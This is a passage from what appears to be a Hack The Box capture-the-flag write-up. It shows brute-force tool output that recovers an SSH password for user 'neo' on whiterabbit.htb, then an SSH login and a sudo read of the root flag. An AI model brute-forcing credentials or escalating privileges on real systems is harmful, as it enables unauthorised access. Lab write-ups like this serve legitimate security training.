<SNIP>
[DATA] max 16 tasks per 1 server, overall 16 tasks, 1000 login tries (l:1/p:1000), ~63 tries per task
[DATA] attacking ssh://whiterabbit.htb:22/
[22][ssh] host: whiterabbit.htb   login: neo   password: WBSxh<REDACTED>qfj
1 of 1 target successfully completed, 1 valid password found
  1. Use the found password to login via the SSH:
$ssh neo@whiterabbit.htb
neo@whiterabbit.htb's password: 
<SNIP>
neo@whiterabbit:~$ id
uid=1000(neo) gid=1000(neo) groups=1000(neo),27(sudo)
  1. We successfully logged in as neo and, since the account is in the sudo group, we can freely access the root flag:
neo@whiterabbit:~$ sudo cat /root/root.txt
[sudo] password for neo: 
af2774e33<FLAG_REDACTED>949e660d01

Final Thoughts: